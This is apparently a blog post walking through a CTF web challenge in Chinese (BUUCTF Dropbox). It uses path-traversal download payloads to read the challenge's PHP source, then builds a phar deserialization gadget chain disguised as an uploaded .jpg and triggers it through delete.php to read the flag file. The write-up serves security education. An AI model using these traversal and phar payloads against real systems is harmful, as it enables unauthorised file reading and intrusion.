BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox

[CISCN2019 华北赛区 Day1 Web1]Dropbox

登录界面后发现存在文件上传,经过测试只允许上传图片文件:

image-20231122084336631

存在下载,我们点击以后还是停留于当前的index.php界面,使用BP抓包拦截之后,发现存在download.php:

image-20231122084529636

在download.php下存在filename传参,下载的文件内容会存在于响应界面中,猜测可以使用该参数实现任意文件读取.

读取index.php:

payload:

1
filename=index.php

image-20231122084805820

payload:

1
filename=../index.php

image-20231122084840645

payload:

1
filename=../../index.php

image-20231122090200880

index.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>

<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

读取其他php文件源码:

class.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;
// 类被申请时自动调用,但不影响之后对变量的赋值
public function __construct() {
global $db;//获取全局变量$db
// 使当前类的$db变量为全局变量$db的值
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
// 魔术方法用于触发close()函数,$this->db= new File();
public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

// 文件类
class File {
public $filename;
// open方法
public function open($filename) {
$this->filename = $filename;
// file_exists()函数为危险函数,可以用于触发phar反序列化
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
// 获取文件的文件名
public function name() {
return basename($this->filename);
}
// 计算文件的大小,并返回大小带单位
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
// 文件删除函数
public function detele() {
// unlink函数为危险函数,用于触发phar反序列化
unlink($this->filename);
}
// 文件关闭函数
public function close() {
// file_get_contents()函数可以获取文件的内容,它可以返回内容,所以可以利用该函数返回我们需要的flag文件信息
// 触发文件打开函数需要调用file类的close()函数,User类的__destruct()魔术方法中调用了该函数
// flag一般存在于flag.txt文件中或flag.php
// $this->filename = flag.txt
return file_get_contents($this->filename);
}
}
?>
download.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
session_start();
//如果会话数组中login参数的值为空
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
//检测filename参数是否为空
if (!isset($_POST['filename'])) {
die();
}

//引用当前文件夹下的class.php文件
include "class.php";
//限制访问目录为当前文件所在目录,/etc目录和/tmp目录
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
//判断文件名的长度是否<40,文件内容是否为空,文件名中是否存在flag,所以它是禁止我们访问有flag的文件,这里也暗示了网站内部可能存在flag文件名相关的文件
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
//将文件名部分显示
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
session_start();
// 检查用户是否登录
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

// 检查文件名是否为空
if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
// 申请文件类,存在于class.php中
$file = new File();
// 获取文件名
$filename = (string) $_POST['filename'];
// 判断文件名是否<40
if (strlen($filename) < 40 && $file->open($filename)) {
// detele()函数可以触发file类中的unlink()函数的phar反序列化
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
理想的链子:
1
2
3
4
5
6
7
8
9
10
11
12
13
1.触发文件打开函数:
$this->filename=flag.txt;
file_get_contents($this->filename);

2.触发File类的close()函数:
User->__destruct()=>File->close

3.触发魔术方法__destruct()
new $User

delete.php=>$file->detele();=>unlink($this->filename);=>User->__destruct()=>File->close()
=>file_get_contents($this->filename);

但是由于return file_get_contents($this->filename);只是返回函数的值,不能将函数的返回值显示到网页中,必须通过html语言或echo函数或print函数才能显示到网页中,所以需要利用FileList类的__destruct()函数

分析:
1
2
3
4
5
6
7
8
9
10
11
12
FileList=>__destruct():

foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;

该函数可以用于输出result结果集到网页中,所以我们需要这个结果集的内容为flag.txt

1
2
3
4
5
6
7
8
9
// 通过调用该类的不存在函数可以触发该魔术方法
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
//对results结果集进行赋值
//可以让$file->$func();为File->close();
$this->results[$file->name()][$func] = $file->$func();
}
}
知识点介绍:
1
2
3
4
5
6
7
8
9
10
11
12
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
这段代码的作用是将变量 $func 的值经过 htmlentities() 函数进行 HTML 实体转换,并拼接到字符串 '<th scope="col" class="text-center">' 和 '</th>' 之间,然后将结果追加到变量 $table 中。

htmlentities() 函数用于将字符串中的特殊字符转换为 HTML 实体,这样可以在 HTML 页面中安全地显示这些字符,避免被误解为 HTML 标签或其他语法。

例如,如果 $func 的值为 "Hello World",经过 htmlentities() 转换后可能会变成 "Hello World"(假设原始字符串中没有特殊字符)。

最终,$table 变量可能会包含类似以下内容的字符串:

html
<th scope="col" class="text-center">Hello World</th>
这段代码的作用是在一个 HTML 表格的标题行中添加一个单元格,单元格内容为经过转义处理的 $func 变量的值。

构造phar反序列化链子:

链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
1.触发文件打开函数:
$this->filename=flag.txt;
file_get_contents($this->filename);

2.触发File类的close()函数:
FileList->__call()=>File->close=>file_get_contents($this->filename);

3.触发FileList类的call函数:
User->$db=new FileList();
$this->db->close();=>FileList->__call()=>FileList->__call()=>File->close=>file_get_contents($this->filename);

4.触发$this->db->close();
User->__destruct()=>$this->db->close();=>FileList->__call()=>FileList->__call()=>File->close=>file_get_contents($this->filename);

构造phar反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class FileList{
private $files;
public function __construct() {
$this->files = array(new File());
}
}
class File{
public $filename = "/flag.txt";
}
class User{
public $db;
}
$a = new User();
$a->db = new FileList();

// 删除当前文件夹下的payload.phar文件
@unlink('payload.phar');
// 生成的文件名为1.phar
$phar = new Phar("payload.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$o = $a;
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

将payload.phar文件后缀名改为payload.jpg后上传:

image-20240128202026584

使用抓包删除该文件:

image-20240128202052113

触发delete.php的phar反序列化:

1
filename=phar://payload.jpg

image-20240128202146031

成功获取到flag:

image-20240128202214425

flag=flag{336ab512-3062-4ec1-96e6-5ca89194615c}


BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox
http://example.com/2024/02/03/2024-2-3-Dropbox/
作者
South
发布于
2024年2月3日
许可协议